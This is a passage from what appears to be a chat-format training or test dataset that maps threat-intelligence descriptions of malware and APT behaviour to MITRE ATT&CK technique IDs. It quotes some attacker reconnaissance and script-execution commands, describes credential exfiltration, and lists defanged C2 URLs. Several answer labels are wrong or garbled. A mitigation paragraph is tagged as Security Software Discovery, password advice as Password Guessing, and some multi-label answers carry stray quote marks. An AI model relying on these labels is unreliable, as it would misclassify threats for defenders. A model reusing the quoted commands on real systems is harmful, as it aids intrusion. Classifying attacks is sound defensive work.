                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In order to deploy an implant for the final payload, ScarCruft uses a multi-stage binary infection scheme. As a rule, the initial dropper is created by the infection procedure. One of the most notable functions of the initial dropper is to bypass Windows UAC (User Account Control) in order to execute the next payload with higher privileges. Afterwards, the installer malware creates a downloader and a configuration file from its resource and executes it. The downloader malware uses the configuration file and connects to the C2 server to fetch the next payload. In order to evade network level detection, the downloader uses steganography. The downloaded payload is an image file, but it contains an appended malicious payload to be decrypted"
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The x command treats the supplied data as a PowerShell script that it will write to the current PowerShell script (Office365DCOMCheck.ps1/SystemDiskClean.ps1), effectively overwriting the initial PowerShell script with a secondary payload script"
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZeroT has used DLL side-loading to load malicious payloads."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some InnaputRAT variants create a new Windows service to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After this, the Carbanak backdoor can then be used to log keystrokes and capture screenshots, steal and delete cookies, inject malicious code on sites, and monitor various traffic. For lateral movement, the malware abuses remote and system administration tools."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie', 'T1113 - Screen Capture', 'T1550.004 - Web Session Cookie', 'T1020.001 - Traffic Duplication', 'T1056.003 - Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Based on comparison of  versions,  made an effort to obfuscate strings in the malware that could be used as IoCs, including the mutex name and named pipe."
            },
            {
                "role": "assistant",
                "content": "T1027.005 - Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign commences via a SPAM email containing a malicious new URL being sent to potential victims. The URL landing page presents the recipient with a password for a ZIP file."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream can communicate with C2 over TCP and UDP."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SharpStage  has been used to target Arabic-speaking users and used code that checks if the compromised machine has the Arabic language installed."
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell can collect the local hostname, operating system details, CPU speed, and total physical memory."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TeamTNT has searched for unsecured SSH keys."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has been used to decode binaries hidden inside certificate files as Base64 information."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "All of the backdoors identified – excluding RoyalDNS – required APT15 to create batch scripts in order to install its persistence mechanism. This was achieved through the use of a simple Windows run key"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RGDoor decodes Base64 strings and decrypts strings using a custom XOR algorithm."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Interestingly, the attacker has used the >> method to append to the file so there can be multiple outputs written to their single TMP file: \"C:\\Windows\\system32\\cmd.exe\" /C systeminfo >> \"C:\\Ahnlab\\$$$A24F.TMP\"  \"C:\\WINDOWS\\system32\\cmd.exe\" /C tasklist /v >> \"C:\\Ahnlab\\$$$A24F.TMP\"   NavRAT   Capabilities  NavRAT is a remote access trojan (RAT) designed to upload, download and execute files"
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Skidmap also sets up a way to gain backdoor access to the machine. It does this by having the binary add the public key of its handlers to the authorized_keys file, which contains keys needed for authentication"
            },
            {
                "role": "assistant",
                "content": "T1098.004 - SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Process injection helps the malware avoid detection; however, review of active network connections show notepad.exe communicating to 185"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The “sysid” parameter contains a campaign ID in newer versions of the malware, the Windows version running on the infected machine, system architecture, username, and a random integer"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "established persistence by adding a Shell value under the Registry key HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion]Winlogon."
            },
            {
                "role": "assistant",
                "content": "T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mitigation Security and system/IT administrators must practice due diligence in protecting their websites and web-based applications from threats that can undermine their security, and hijack them to do the bad guys’ bidding—delivering malware to their victims"
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZeroT has used RC4 to encrypt C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MuddyWater has used developed tools in Python including Out1."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Since September of 2018, Redaman banking malware has been distributed through malspam. These emails have file attachments. These file attachments are archived Windows executable files disguised as a PDF document. In September 2018, the attachments were zip archives. In October 2018, the attachments were zip archives, 7-zip archives, and rar archives. In November 2018, the attachments were rar archives. And in December 2018, the attachments changed to gzip archives with file names ending in .gz"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information', 'T1566.001 - Phishing: Spearphishing Attachment', 'T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 can decrypt passwords stored in the RDCMan configuration file."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some  variants use raw TCP for C2."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The initial attack did not produce the desired result; The attackers made a second attempt, with a ransomware payload named license.exe, launched from the same location. But before they launched it, they executed a script that disabled Windows Defender’s Real-Time Monitoring feature"
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RGDoor uploads and downloads files to and from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti for Windows can delete the DLLs for its various components from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 6 shows the Glimpse server responding to an inbound beacon from the Glimpse agent and sending a command whoami"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used a Metasploit PowerShell module to download and execute shellcode and to set up a local listener.  has also used scripting to iterate through a list of compromised PoS systems, copy data to a log file, and remove the original data files."
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When initially executed, the malware will check its current working directory. Should it not match the expected path, Cardinal will enter its installation routine. Cardinal RAT will copy itself to a randomly named executable in the specified directory. It will then compile and execute embedded source code that contains watchdog functionality. Specifically, this newly spawned executable will ensure that the following registry key is set"
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery', 'T1012 - Query Registry', 'T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Crimson contains a command to collect and exfiltrate emails from Outlook."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Netwalker can delete the infected system's Shadow Volumes to prevent recovery."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing emails continued to use links to external ZIP or RAR archives, which ultimately contained an executable with the extension SCR. The attackers also made extensive use of Hostinger’s cheap web hosting services to deliver initial payloads"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As seen in the above screenshot, there is a large overlap in unique strings in both samples. The original sample involved in the forbes.com breach used HTTP, which is consistent with the original variant discussed in this blog post. It should be noted that while the newest variant that uses direct network communication over port 22 no longer uses HTTP, references to the HTTP strings are still found within the sample itself. This is most likely due to code re-used by the attackers"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In response to this request, the C2 server responds with a Base64-encoded RSA public key (seen in Figure 12)"
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may be used to find credentials in the Windows Registry."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HttpBrowser's executable code may be obfuscated through structured exception handling and return-oriented programming"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An APT28 loader Trojan uses a cmd.exe and batch script to run its payload. The group has also used macros to execute payloads."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "COBALT DICKENS uses publicly available tools, including the SingleFile plugin available on GitHub and the free HTTrack Website Copier standalone application, to copy the login pages of targeted university resources. Metadata in a spoofed login page created on August 1 suggests that COBALT DICKENS sometimes uses older copied versions of target websites. A comment left in the source code indicates it was originally copied on May 1, 2017 (see Figure 3). However, the university was targeted by numerous COBALT DICKENS operations, including the August 2018 and August 2019 campaigns"
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Just six minutes after the initial C&C communication, and with the QAKBOT malware now running inside an injected process (wermgr.exe), automated reconnaissance in the infected environment is performed via the execution of multiple built-in command line tools"
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The experience of dealing with Emotet shows that it will be time well spent. We always recommend that clients adopt a policy that forces users to create passwords that they can remember, but that are hard to guess"
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThreatNeedle can run in memory and register its payload as a Windows service."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE UNION appears to use a combination of self-registered IP addresses and commercial VPN services in its command and control (C2) and operational infrastructure"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WarzoneRAT can use a variety of API calls on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "We found a brute-force tool called NLBrute , with configuration files that tell us it had been set up to use an included set of username and passwords to try to break in to machines that have Remote Desktop enabled"
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The two variants of MPK share the same registry key that the Trojan uses to automatically run each time the system starts, specifically: [HKLM and HKCU]\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\explorer Both MPK variants include key loggers that are extremely similar in functionality in addition to having the same strings used for headers within the key log file"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Curl is used to send the AWS credentials to TeamTNT’s server, which responds with the message “THX"
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has installed TrickBot as a service named ControlServiceA in order to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Octopus can collect information on the Windows directory and searches for compressed RAR files on the host."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has used CHM files to move concealed payloads."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - Signed Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "JPIN can list running services."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Delphi variant of Zebrocy delivered in this attack campaign are very similar to the Delphi downloader discussed in our previous Zebrocy research published in June 2018. While this Delphi variant was known, the C# and VB.NET variants delivered in this attack campaign were previously unknown. An interesting note on these payloads is that all the Delphi payloads delivered in this campaign were packed with UPX, while none of the other payloads were packed. While we can only speculate on the specific reason, it is likely Sofacy packed only the Delphi variants in an attempt to increase evasion as the Delphi variant of Zebrocy is known and has been widely analyzed"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed conducting spearphishing campaigns. These email compromise attempts range from generic emails with mass targeted phishing attempts to specifically crafted emails in targeted social engineering lures. These compromise attempts use the cyber actors’ dynamic collection of VPSs, previously compromised accounts, or other infrastructure in order to encourage engagement from the target audience through domain typo-squatting and masquerading. These emails may contain a malicious link or files that will provide the cyber actor access to the victim’s device after the user clicks on the malicious link or opens the attachment."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment', 'T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conficker uses the current UTC victim system date for domain generation and connects to time servers to determine the current date."
            },
            {
                "role": "assistant",
                "content": "T1124 - System Time Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Xbash can use mshta for executing scripts."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Axiom has used exploits for multiple vulnerabilities including CVE-2014-0322, CVE-2012-4792, CVE-2012-1889, and CVE-2013-3893."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AppleSeed has the ability to Base64 encode its payload and custom encrypt API calls."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remote desktop available via VNC. Hidden Remote desktop available via RDPWrap. Privilege escalation (even for the latest Win10 updates) Remote WebCam control. Remote Shell. Remote desktop available via VNC. Hidden Remote desktop available via RDPWrap. Remote Shell. Remote desktop available via VNC. Hidden Remote desktop available via RDPWrap. Privilege escalation (even for the latest Win10 updates) - Remote WebCam control"
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services:VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Establish persistence for itself on the endpoint - Establish persistence of another component of the malware on the endpoint - Update itself on endpoint after a separate updater component downloads the update from the control server"
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "parses the export tables of system DLLs to locate and call various Windows API functions."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Typical file exfiltration modules deployed by threat actors usually consist of the ability to enumerate and exfiltrate files. These implants enumerate files in specific drives or directories and exfiltrate the file lists first. Once the attackers identify the files of interest, the module is instrumented for exfiltration of the files.The VBScript-based file recon module used by the attackers is somewhat different. It downloads a file listing from a remote location that contains the file paths of specific files of interest to the attackers. The file listing is so precise that the attackers know the exact file paths of the files they're looking for on an infected endpoint. This prevents re-infection of the target.A marker file is created in an attacker-specified folder and is checked before the exfiltration module begins its malicious activities. If the marker file is not found, the module will proceed with its recon and exfiltration activities.In August 2021, we saw a minor variation of the same script being deployed in the wild. Instead, it's hardcoded into the scripts showing that the attackers already know the identities of the targets that they are trying to infect. This indicates that this is a highly targeted attack.In October 2021, we observed another update in the file exfiltration scripts"
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has exploited Microsoft Office vulnerability CVE-2017-0262 for execution."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The sample creates an array that contains the following strings for the Trojan to use as C2 locations: http://23.227.196[.]215/ http://apple-iclods[.]org/ http://apple-checker[.]org/ http://apple-uptoday[.]org/ http://apple-search[.]info Notice the last one is missing the trailing “/”, which causes an issue when the Trojan attempts to use this string to build the remainder of the C2 URL, as the Trojan will append the next string in the URL directly to this string"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Patchwork used Base64 to encode C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Either via the LNK after startup, or directly via the VBS, the command line “wscript.exe //B //E:vbs C:\\Users\\Public\\Favorites\\desktop.ini” is executed, referencing the helper file dropped by the sample mentioned above. Finally, the file C:\\Users\\Public\\ignit.vbs is deleted after execution."
